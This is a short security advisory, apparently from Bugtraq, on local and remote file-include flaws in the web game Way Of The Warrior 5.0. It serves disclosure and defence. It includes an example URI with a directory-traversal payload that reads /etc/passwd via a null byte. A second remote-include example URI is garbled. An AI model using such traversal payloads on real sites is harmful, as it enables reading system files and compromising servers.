Way Of The Warrior Local and Remote File Include Vulnerabilities

Bugtraq ID:	32115
Class:	Input Validation Error
CVE:	CVE-2008-6224 CVE-2008-6223
Remote:	Yes
Local:	No
Published:	Nov 04 2008 12:00AM
Updated:	Jul 05 2016 10:01PM
Credit:	dun
Vulnerable:	Way Of The Warrior Way Of The Warrior 5.0
Not Vulnerable:

Way Of The Warrior Local and Remote File Include Vulnerabilities

Way Of The Warrior is prone to a local file-include vulnerability and a remote file-include vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow a remote attacker to obtain sensitive information or compromise the application and the underlying computer; other attacks are also possible.

Way Of The Warrior 5.0 and prior versions are vulnerable.

Way Of The Warrior Local and Remote File Include Vulnerabilities

An attacker can exploit these issues via a browser.

The following example URIs are available:

http://www.example.com/wotw_5.0_en/visualizza.php?plancia=../../../../../../etc/passwd%00

http://www.example.com/wotw_5.0_en/crea.php?plancia=[spread?]

Way Of The Warrior Local and Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Way Of The Warrior Local and Remote File Include Vulnerabilities

References:

• Way Of The Warrior Homepage (Way Of The Warrior)